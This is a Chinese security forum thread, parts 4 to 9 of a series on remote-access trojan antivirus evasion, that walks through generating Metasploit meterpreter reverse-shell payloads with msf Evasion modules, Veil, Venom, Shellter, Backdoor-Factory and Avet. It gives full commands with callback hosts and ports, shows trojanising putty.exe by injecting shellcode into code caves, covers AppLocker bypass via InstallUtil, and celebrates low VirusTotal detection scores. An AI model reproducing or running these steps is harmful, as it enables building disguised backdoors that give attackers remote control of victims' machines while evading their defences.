98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-2-22 13:56:03 | 显示全部楼层
本帖最后由 wholesome 于 2020-2-22 14:08 编辑

远控免杀专题文章(4)-Evasion模块免杀(VT免杀率12/71)


免杀能力一览表


几点说明:
1、下表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2019.12.12),火绒版本5.0.33.13(2019.12.12),360安全卫士12.0.0.2001(2019.12.17)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。
前言

2019年1月,metasploit升级到了5.0,引入了一个新的模块叫Evasion模块,官方宣称这个模块可以创建反杀毒软件的木马。
evasion有以下几个模块,可以使用show evasion进行查看。

生成exe(VT查杀率42/71)

使用use windows/windows_defender_exe进行生成payload
  1. msf5 > use windows/windows_defender_exe
  2. msf5 evasion(windows/windows_defender_exe) > set filename payload.exe
  3. msf5 evasion(windows/windows_defender_exe) > set payload windows/meterpreter/reverse_tcp
  4. msf5 evasion(windows/windows_defender_exe) > set LHOST 10.211.55.3
  5. msf5 evasion(windows/windows_defender_exe) > set LPORT 3333
  6. msf5 evasion(windows/windows_defender_exe) > run
复制代码


不打开杀软的情况下,可正常上线
  1. handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp
复制代码

打开杀软,目前已经无法过360和火绒,看网上资料在该模块刚出来时是可以过360的。

virustotal.com中42/71个报毒(前几天测试的时候还是39个...)


生成hta(VT查杀率14/59)

用另外一个evasion模块windows/windows_defender_js_hta生成一下,360同样被杀

但是火绒静态+行为查杀都没发现问题,可正常上线


virustotal.com中14/59个报毒,不过在线查毒时显示360也没查出来,但我本地测试时却是能查出来的,所以在线查杀还是不太精准的



生成install_util(VT查杀率12/71)

evasion还提供了其他几个模块,比如windows/applocker_evasion_install_util
创建payload

  1. msf5 > use windows/applocker_evasion_install_util
  2. msf5 evasion(windows/applocker_evasion_install_util) > set payload windows/meterpreter/reverse_tcp
  3. payload => windows/meterpreter/reverse_tcp
  4. msf5 evasion(windows/applocker_evasion_install_util) > set lhost 10.211.55.2
  5. lhost => 10.211.55.2
  6. msf5 evasion(windows/applocker_evasion_install_util) > set lport 3333
  7. lport => 3333
  8. msf5 evasion(windows/applocker_evasion_install_util) > run

  9. [+] install_util.txt stored at /Users/xysoul/.msf4/local/install_util.txt
  10. [*] Copy install_util.txt to the target
  11. [*] Compile using: C:\Windows\Microsoft.Net\Framework\[.NET Version]\csc.exe /out:install_util.exe install_util.txt
  12. [*] Execute using: C:\Windows\Microsoft.Net\Framework\[.NET Version]\InstallUtil.exe /logfile= /LogToConsole=false /U install_util.exe
复制代码


根据说明,需要使用csc.exe进行编译一下,然后用InstallUtil.exe加载文件。
csc.exe是微软.NET Framework 中的C#语言编译器,本机安装了.net后就可以找到该文件。我这里用vs2017里的csc.exe进行编译,生成install_util.exe。

直接执行install_util.exe是没有任何反应的,需要使用InstallUtil.exe /logfile= /LogToConsole=false /U install_util.exe来加载。

注意的是,如果生成的是32位的payload,就要用32位的.net下的InstallUtil来加载,否则文件会无法执行。

静态查杀都没有问题,执行时360行为查杀会报毒。

在virustotal.com中对install_util.exe进行查杀,发现12/71个报毒


小结

在evasion中共提供了6个免杀模块,大家都可以进行尝试。上文中第三个免杀利用csc白名单加载payload的方式还有很多种,网上也有很多介绍,侯亮大神也提到了很多类似的白名单软件。
而且在2019年1月msf5更新的不止evasion模块,还有个更强大的模板编译函数Metasploit::Framework::Compiler,提供了更强大的自定义免杀机制。后面文章会讲述该模块使用。
参考


applocker_evasion_install_util.md:https://github.com/rapid7/metasp ... ion_install_util.md
基于白名单Csc.exe执行payload:https://micro8.gitbook.io/micro8 ... ng-payload-di-qi-ji



回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-2-22 14:14:03 | 显示全部楼层
本帖最后由 wholesome 于 2020-2-22 14:33 编辑

远控免杀专题(5)-Veil免杀(VT免杀率23/71)

免杀能力一览表


几点说明:
1、下表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2019.12.12),火绒版本5.0.33.13(2019.12.12),360安全卫士12.0.0.2001(2019.12.17)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。


前言

Veil、Venom和Shellter是三大老牌免杀工具,虽然说人怕出名猪怕壮,但目前这几款免杀工具在扩展性和免杀能力方面依然有着不错的表现。
Veil-Evasion是一个用python写的免杀框架,可以将任意脚本或一段shellcode转换成Windows可执行文件,还能利用Metasploit框架生成相兼容的Payload工具,从而逃避了常见防病毒产品的检测。
安装veil

常规安装失败


veil地址:https://github.com/Veil-Framework/Veil
安装参考https://www.freebuf.com/sectool/89024.html
kali快速安装
  1. apt -y install veil
  2. /usr/share/veil/config/setup.sh --force --silent
复制代码
安装信息如下

看起来没什么问题,但后来在执行的时候各种出错,依赖包各种出问题,无论是快速安装还是常规手工安装都没能解决。网上也有很多人吐槽安装比较繁杂,出现各种状况,但也有的系统安全比较顺利。
后来,发现有人做好了veil的docker镜像,简单便捷,一键运行。

Docker安装

镜像地址:
  1. https://hub.docker.com/r/mattiasohlsson/veil/
复制代码
在kali里安装docker后,添加docker加速镜像地址vi /etc/docker/daemon.json​​​​​​​
  1. {
  2.     "registry-mirrors": [
  3.         "https://1nj0zren.mirror.aliyuncs.com",
  4.         "https://docker.mirrors.ustc.edu.cn",
  5.         "http://f1361db2.m.daocloud.io",
  6.         "https://registry.docker-cn.com"
  7.     ]
  8. }
复制代码

然后重启docker服务​​​​​​​
  1. systemctl daemon-reload
  2. systemctl restart docker
复制代码
拉取veil镜像
  1. docker pull mattiasohlsson/veil
复制代码
拉取成功后,执行
  1. docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil
复制代码
docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil
-v /tmp/veil-output:/var/lib/veil/output:Z是将宿主机的/tmp/veil-output目录映射到docker里面,这样veil生成的payload可以直接在宿主机里使用


之后再进入镜像可以在启动镜像后使用下面命令
  1. docker exec -it 4ae72dc914c9 /bin/bash
复制代码
执行veil命令可启动,版本为3.1.1。

veil使用
veil有两个免杀的工具,Evasion和Ordnance。
Ordnance可生成在Veil-Evasion中使用的shellcode,Evasion是用做文件免杀。
我们一般选择Evasion​​​​​​​
  1. Veil>: use 1                   #选择Evasion功能
  2. Veil/Evasion>: list            #查看payload列表
复制代码

推荐使用以go和ruby语言encode的编码方式。像python这类的与用户有较高的交互就容易被查杀。
veil原理可以参考这篇文章:
  1. https://xz.aliyun.com/t/4191
复制代码
使用veil直接生成exe(VT查杀率44/70)
veil可以直接生成支持msf的payload,我们先试一下看看效果。
我们使用go语言生成msf的payload
  1. Veil/Evasion>: use 16
复制代码
设置好msf的监听主机和端口就可以,下图所示

然后再设定好生成的payload的名称,我这里就用go_msf了

然后一堆编码编译之后,就生成payload了

因为之前已经做过映射,所以在宿主机的/tmp/veil-output/compiled/目录可直接看到生成的exe文件。
在msf中监听​​​​​​​
  1. msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
  2. msf5 exploit(multi/handler) > set lport 3334
  3. msf5 exploit(multi/handler) > set lport 10.211.55.2
  4. msf5 exploit(multi/handler) > exploit
复制代码

exploit在测试主机执行go_msf.exe,发现msf中可上线

而此时是正常打开360和火绒的

virustotal.com中44/71个报毒

虽然查杀率还比较高,不过火绒和360都能静态+动态免杀。比较遗憾的是生成的exe文件比较大,go语言生成的exe大约2M,python生成的exe大约4M,ruby生成的exe大约700K,相比msf原生态的exe大打多了。
使用veil+mingw-w64(VT查杀率23/71)
先用veil生成shellcode​​​​​​​
  1. # veil
  2. use 1                        #选择使用 Veil-Evasion 模块
  3. Veil-Evasion Menu
  4.     41 payloads loaded
  5. Available Commands:
  6.     back            Go to main Veil menu
  7.     checkvt         Check virustotal against generated hashes
  8.     clean           Remove generated artifacts
  9.     exit            Exit Veil
  10.     info            Information on a specific payload
  11.     list            List available payloads
  12.     use             Use a specific payload
  13. Veil-Evasion command: use 7        #选择payload  c/meterpreter/rev_tcp.py
  14. [cs/meterpreter/rev_tcp>>] set LHOST 10.211.55.2
  15. [cs/meterpreter/rev_tcp>>] set LPORT 3333
  16. [cs/meterpreter/rev_tcp>>] generate
复制代码


输入生成文件名为c_msf


先生成一个可以被 msf 利用的 c_msf.c 然后用mingw-w64 来编译
mingw-w64的安装可参考https://zhuanlan.zhihu.com/p/76613134


全程开启360卫士和杀毒以及火绒,编译、运行、上线都没有问题。

virustotal.com中23/71个报毒

小结

veil功能还是很强大的,生成的shellcode自身免杀能力就不错,而且支持多种语言的shellcode编译打包,和msf及cs可以无缝对接,值得人好好研究一下。三大老牌免杀工具不是浪得虚名的~~
参考整理
使用veil绕过杀软:https://blog.csdn.net/wyf12138/article/details/79825833
免杀后门之MSF&Veil-Evasion的完美结合http://www.secist.com/archives/1107.html

APT级的全面免杀:https://xz.aliyun.com/t/4191


回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-2-22 14:41:32 | 显示全部楼层
本帖最后由 wholesome 于 2020-2-22 14:55 编辑

远控免杀专题(6)-Venom免杀(VT免杀率11/71)

免杀能力一览表


几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2019.12.12),火绒版本5.0.33.13(2019.12.12),360安全卫士12.0.0.2001(2019.12.17)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。

前言


Venom和Veil、Shellter是三大老牌免杀工具,免杀主要依靠分离执行和加密混淆等技术,可以和msf无缝对接。
Venom利用msfvenom(metasploit)生成不同的格式的shellcode,如(c | python | ruby | dll | msi | hta-psh)等,然后将生成的shellcode注入一个模板(例如:python),并使用类似gcc、mingw32或pyinstaller之类的编译器生成可执行文件。
Venom的一些功能还会直接调用Veil-Evasion.py,unicorn.py,powersploit.py等来直接创建免杀程序,避免重复造轮子。
安装venom


venom安装和运行必须是在图形界面下,如果是ssh终端连接到kali进行连接是不行的,我安装venom是用的parrot 4.4系统。
venom依赖的软件比较多,所以安装出现问题是很正常的。。请做好心里准备~

  1. Zenity | Metasploit | GCC (compiler) | Pyinstaller (compiler)
  2. mingw32 (compiler) | pyherion.py (crypter) | wine (emulator)
  3. PEScrambler.exe (PE obfuscator) | apache2 (webserver)| winrar (wine)
  4. vbs-obfuscator (obfuscator) | avet (Daniel Sauder) | shellter (KyRecon)
  5. ettercap (MitM + DNS_Spoofing) | encrypt_PolarSSL (AES crypter)
复制代码

1、从github上拖到本地
  1. git clone https://github.com/r00t-3xp10it/venom.git`
复制代码
2、修改文件执行权限
  1. cd venom
  2. sudo chmod -R +x *.sh
  3. sudo chmod -R +x *.py`
复制代码
3、安装依赖库和软件
  1. cd aux
  2. sudo ./setup.sh
复制代码
4、运行venom
  1. sudo ./venom.sh
复制代码

我在执行安装中,遇到了几个坑,其中遇到zenity报错信息,翻遍了官方Github也没找到解决办法,报错信息如下:

  1. zenity: relocation error: /usr/lib/x86_64-linux-gnu/libxslt.so.1: symbol xmlBufContent version LIBXML2_2.9.0 not defined in file libxml2.so.2 with link time reference
复制代码
后来经分析,发现系统中存在多个libxml2.so.2文件,使用locate可定位。
将系统中/usr/local/lib/目录下的libxml2.so.2从libxml2.so.2.7.8更换为libxml2.so.2.9.4

  1. mv /usr/local/lib/libxml2.so.2.7.8 /usr/local/lib/libxml2.so.2.7.8_bak
  2. mv /usr/local/lib/libxml2.so.2 /usr/local/lib/libxml2.so.2_bak
  3. ln -s /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.4 /usr/local/lib/libxml2.so.2
复制代码

之后可正常安装。


另外注意,在parrot系统中,root用户无法直接使用systemctl start apache2.service开启apache等服务,必须普通用户才行。否则会提示
  1. #systemctl restart apache2.service
  2. Failed to restart apache2.service: Access denied
  3. See system logs and 'systemctl status apache2.service' for details.
复制代码

然后选择windows,也就是2

然后会列出所有windows可用的20个agent

支持的种类还是比较全面的,shellter、avet等免杀工具都内置在里面了,而且支持很多种类似的payload格式

我们先生成一个最简单直接的,第4个模块,通过C编译EXE程序
在输入4之后,会弹出一个框让你输入ip地址,这个就是你msf监听主机的地址,我的就是10.211.55.2了,不要看着上面那个example还有子网掩码什么的就照着输。


然后输入端口号之后,选择payload,我还是选择最常规的windows/meterperter/reverse_tcp

再输入一个文件名

然后在编译和生成exe的过程中,会弹出来两个选项框,一般默认就行

之后会提示已经生成,并询问你如何分发payload,我就直接在测试机上执行就行了。


在测试机执行后,发现360安全卫士和360杀毒静态检测没问题,但行为检测都能查杀出为病毒

火绒则静态+动态都没有检测到

virustotal.com中19/71个报毒

venom生成dll(VT查杀率11/70)
我们再试一下其他模块的免杀效果,选择windows之后,在agent中选择第1个,生成dll

后面的操作和上面那个差不多,然后就能看到生成了dll_msf.dll文件

将文件拷贝到测试机上,命令行中执行rundll32.exe dll_msf.dll,main,可动静态免杀过360和火绒

msf正常上线

virustotal.com中11/70个报毒,过了微软和卡巴了~

小结
venom是一个综合性非常强大的工具,而且支持生成多平台payload,比如android、ios、linux/unix、office等等,我这里也只是简单演示了windows下的两个agent,其他还有很多agent模块免杀能力很强,比如18 shellter模块等等。
在venom生成编译的过程中可以看到他生成的shellcode其实是直接调用的msfvenom,而且在最后也可以和msf联动进行监听,还支持apache的web分发,很多模块都能和msf无缝对接,虽然被杀软盯的紧但免杀体验还是不错的

参考整理
利用meterpreter下的Venom免杀后门:https://www.cnblogs.com/wh4am1/p/7469625.html
免杀后门venom :https://www.ggsec.cn/venom.html



回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-2-23 17:49:05 | 显示全部楼层
本帖最后由 wholesome 于 2020-2-23 17:54 编辑

远控免杀专题(7)-Shellter免杀(VT免杀率7/69)

免杀能力一览表


几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2019.12.12),火绒版本5.0.33.13(2019.12.12),360安全卫士12.0.0.2001(2019.12.17)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。


前言


Shellter和Venom、Veil是三大老牌免杀工具,Shellter是一个开源的免杀工具,利用动态Shellcode注入或者命令来实现免杀的效果。
安装Shellter


1、kali中已经自带shellter,可在图形界面中直接执行shellter命令即可。

2、ubuntu系统中apt安装​​​​​​​
  1. apt-get update
  2. apt-get install shellter
复制代码
3、手动下载windows版
官方下载站点https://www.shellterproject.com/download/
下载后解压,无需安装,cmd下可直接使用


生成payload(VT免杀率7/69)


我就直接用kali自带的shellter进行演示,需要提前准备一个pe文件作为被注入程序。我还是用之前选的putty.exe来进行测试。

之后程序会把putty.exe进行备份,因为生成的payload会自动覆盖原来的putty.exe。

还是选择windows/meterpreter/reverse_tcp作为payload

上面有个选项Enable Stealth Mode,是否启用隐身模式,启用后免杀效果会变差,建议不启用。
全程自动化生成,最终的生成文件会替换原来的putty.exe。
通过对比可发现程序稍微变大了


在msf中使用handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp进行监听
在测试机中执行生成的putty.exe,360和火绒均可免杀


msf正常上线

virustotal.com中7/69个报毒,卡巴、瑞星、微软三个都没bypass。。

小结


Shellter安装非常简单,使用也非常便捷,而且生成的payload免杀效果也都比较好,windows和linux下都可以使用,实在是居家旅行、**灭口必备良药。我是用的自动模式进行生产payload,你可以根据自己的需要进行手动配置,这样生成的payload免杀效果会更好。
因为Shellter生成的shellcode是动态的,所以被查杀的几率也有所不同,测试过几次自动化生成的payload,最好的秒杀效果是4/71,最差的15/70,整体来说也算不错了。
参考整理


msf免杀及后渗透技术:https://bbs.ichunqiu.com/thread-49618-1-1.html





回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-2-23 17:58:15 | 显示全部楼层
本帖最后由 wholesome 于 2020-2-23 18:18 编辑

远控免杀专题(8)-BackDoor-Factory免杀(VT免杀率13/71)


免杀能力一览表


几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2019.12.12),火绒版本5.0.33.13(2019.12.12),360安全卫士12.0.0.2001(2019.12.17)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。
5、完全不必要苛求找一种能bypass所有杀软的免杀技术,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。


一、BDF介绍
BackDoor-factory,又称后门工厂(BDF),BDF是也是一款老牌的免杀神器,其作者曾经在2015年的blackhat大会上介绍过该工具。但是作者已经于2017年停止更新,免杀效果就算现在来看也还算不错的。
原理:可执行二进制文件中有大量的00,这些00是不包含数据的,将这些数据替换成payload,并且在程序执行的时候,jmp到代码段,来触发payload

二、安装BDF

官方地址:
  1. https://github.com/secretsquirrel/the-backdoor-factory
复制代码
方法一、如果使用kali或parrot,系统中已经安装好了BDF。
如果找不到的话可以使用locate命令查找一下


parrot里自带的BDF版本为3.4.2,也是官方发布的最后一个版本。

方法二、如果系统里没有安装,则需要手动安装
ubuntu里可以直接
  1. apt-get update
  2. apt-get install backdoor-factory
复制代码
但是BDF依赖的软件也是比较多的,安装可能比较容易出错。
方法三、使用docker
BDF作者也考虑到安装容易出问题,所以提供了docker环境​​​​​​​

  1. docker pull secretsquirrel/the-backdoor-factory
  2. docker run -it secretsquirrel/the-backdoor-factory bash
  3. # ./backdoor.py
复制代码
docker里的版本为3.4.0,不算是最新版本,不过影响不大。

三、直接生成免杀后门(VT免杀率13/71)
backdoor-factory是把shellcode插入到一个正常的exe文件的代码"缝隙"中,类似于捆绑但不是捆绑,所以需要提前准备一个被捆绑的宿主exe文件,我这是还是用之前的putty.exe为例。
执行python backdoor.py

3.1、首先检查宿主exe能否被支持

在"捆绑"之前,BDF需要检查一下宿主exe能否被支持"插入"shellcode。
主要使用下面两个参数
  1. -f:指定测试程序
  2. -S:检查该程序是否支持
复制代码
检查命令:
  1. python backdoor.py -f /root/putty.exe -S
复制代码

说明putty.exe可以被支持。
3.2、搜索该文件可用的Code Caves(代码缝隙)

使用命令
  1. <font size="4">-c:code cave(代码裂缝)
  2. -l:代码裂缝大小</font>
复制代码

发现4个可用代码缝隙,一般shellcode大小300字节,所以选择一个适当的缝隙就可以
3.3、获取该文件的可用payload

  1. ./backdoor.py -f /root/putty.exe -s -show
复制代码

如上图所示,会有很多的可利用payload。
cave_miner_inline:作为payload模板,长度为135,仅实现了控制流程跳转,不做其他操作,可用作自定义开发shellcode的模板
reverse_shell_tcp_inline:对应的msf:use exploit/multi/handlerset payload windows/meterpreter/reverse_tcp
meterpreter_reverse_https_threaded:对应的msf:use exploit/multi/handlerset payload windows/meterpreter/reverse_https
iat_reverse_tcp_inline中的iat:iat为Import Address Table(导入地址表)的缩写,如果PE文件的IAT不包含API LoadLibraryA和GetProcAddress,直接执行payload reverse_shell_tcp_inline会失败,iat_reverse_tcp_inline增加了修复IAT的功能,避免执行失败
iat_reverse_tcp_stager_threaded:增加了修复IAT的功能
user_supplied_shellcode_threaded:对应的msf:use exploit/multi/handlerset payload windows/meterpreter/reverse_tcp``自定义shellcode

3.4、生成payload

推荐使用的命令:
  1. ./backdoor.py  -f ~/putty.exe -s iat_reverse_tcp_stager_threaded -H 10.211.55.2 -P 3333 -J -o  payload.exe
复制代码
-c:code cave(代码裂缝)
-l:代码裂缝大小
-s:选择使用 payload 类型
-H:选择回连服务器地址
-P:回连服务器端口
-J:使用多代码裂缝注入
选择一个代码段进行插入shellcode,最后就可以生产新的后门程序。


3.5、免杀测试
运行payload.exe,发现360卫士和杀毒可查杀,火绒未检测到病毒。

virustotal.com中13/69个报毒

四、使用自己定义的shellcode(VT免杀率14/71)
先用msfvenom生成raw格式的shellcode
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -i 5 -f raw -o shellcode.c
复制代码


使用backdoor的user_supplied_shellcode_threaded模块加载自定义的shellcode
  1. ./backdoor.py -f /root/putty.exe -s user_supplied_shellcode_threaded -U /root/shellcode.c  -o payload2.exe
复制代码


msf监听可上线
  1. msf > use exploit/multi/handler
  2. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
  3. payload => windows/meterpreter/reverse_tcp
  4. msf exploit(handler) > set lhost 10.211.55.2
  5. lhost => 10.211.55.2
  6. msf exploit(handler) > set lport 3333
  7. lport => 3333
  8. msf exploit(handler) > exploit
复制代码

但是360依然可以查杀

virustotal.com中14/71个报毒

五、小结
利用backdoor-factory使用,用户可以在不破坏原有可执行文件的功能的前提下,在文件的代码裂隙中插入恶意代码Shellcode。当可执行文件被执行后,就可以触发恶意代码。Backdoor Factory不仅提供常用的脚本,还允许嵌入其他工具生成的Shellcode,如Metasploit。
该工具还有很强大的一些其他功能,比如加私钥证书、CPT等等,虽然目前软件已经不再更新,但免杀效果至今依然不错也能管中窥豹看到它的强悍之处。
六、参考资料
利用BDF向EXE文件植入后门:https://3gstudent.github.io/3gst ... %E5%90%8E%E9%97%A8/
backdoor-factory使用简介:https://www.lstazl.com/backdoor- ... %E7%AE%80%E4%BB%8B/
backdoor-factory使用:https://www.cnblogs.com/-qing-/p/11421709.html



回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-2-24 12:01:16 | 显示全部楼层
本帖最后由 wholesome 于 2020-2-24 12:08 编辑

远控免杀专题(9)-Avet免杀(VT免杀率14/71)


免杀能力一览表
几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2019.12.12),火绒版本5.0.33.13(2019.12.12),360安全卫士12.0.0.2001(2019.12.17)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

一、Avet介绍


Avet全称AntiVirus Evasion Tool,2017年在blackhat大会上公开演示,可对shellcode,exe和dll等多种载荷进行免杀处理,使用了多种不同的免杀技术,具有较好的免杀效果,据说在blackhat大会上演示时免杀效果震撼全场。
二、安装Avet
2.1、自动安装

我测试使用的parrot 4.4系统,类似于kali。
下载到本地:
  1. git clone https://github.com/govolution/avet
复制代码
如果是64位系统,可以直接使用下面命令来进行安装
  1. ./setup.sh
复制代码
脚本会自动安装/配置wine和安装tdm-gcc。
安装后执行python ./avet_fabric.py即可。
看起来没什么问题,但是有时候在最后生成exe时会报错。。报错后还可以选择手动安装,逐个排除错误。
2.2、手动安装
1、下载到本地:
  1. git clone https://github.com/govolution/avet
复制代码
2、然后安装wine​​​​​​​
  1. dpkg --add-architecture i386
  2. apt-get update
  3. apt-get install wine -y
  4. apt-get install wine32 -y
复制代码
3、安装tdm-gcc
下载tdm64-gcc

  1. wget -c --no-check-certificate https://nchc.dl.sourceforge.net/project/tdm-gcc/TDM-GCC%20Installer/tdm64-gcc-5.1.0-2.exe
复制代码
安装tdm64-gcc
  1. wine tdm64-gcc-5.1.0-2.exe
复制代码


之后在Avet目录中执行python ./avet_fabric.py即可。
三、使用Avet进行免杀
执行python ./avet_fabric.py后会直接显示Avet支持的各个模块

我们随便选择一个模块来生成payload,就选2了:build_50xshikata_revhttps_win32.sh
基本上一路都是默认就可以,当然你也可以自己修改一些配置,可能会有更好的免杀效果,也可能生成的payload无法运行。。。


在msf里监听windows/meterpreter/reverse_https

在测试机器上执行output.exe

可正常上线

打开杀软测试一下,360和火绒全bypass

virustotal.com中17/71个报毒

四、小结
可能是因为知名度太高,默认输出的payload免杀能力只能算是一般,测试了几个模块,最好的免杀是13/71,最差的是36/71,不过相比msf原生的免杀已经好很多了。
而且Avet提供了强大的自定义功能,在build文件夹下可以看到所有的payload生成脚本,很多参数都可以自己设定。Avet框架也是比较成熟的,可以轻松的进行二次开发,很容易能开发出来自己的专用免杀工具。
五、参考资料Msf
木马过狗免杀之利用Avet过20+狗:https://zhuanlan.zhihu.com/p/38813500
AntiVirus Evasion Tool(avet)测试分析:https://3gstudent.github.io/3gst ... iVirus-Evasion-Tool(avet)%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90/



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 22:40 , Processed in 0.030314 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表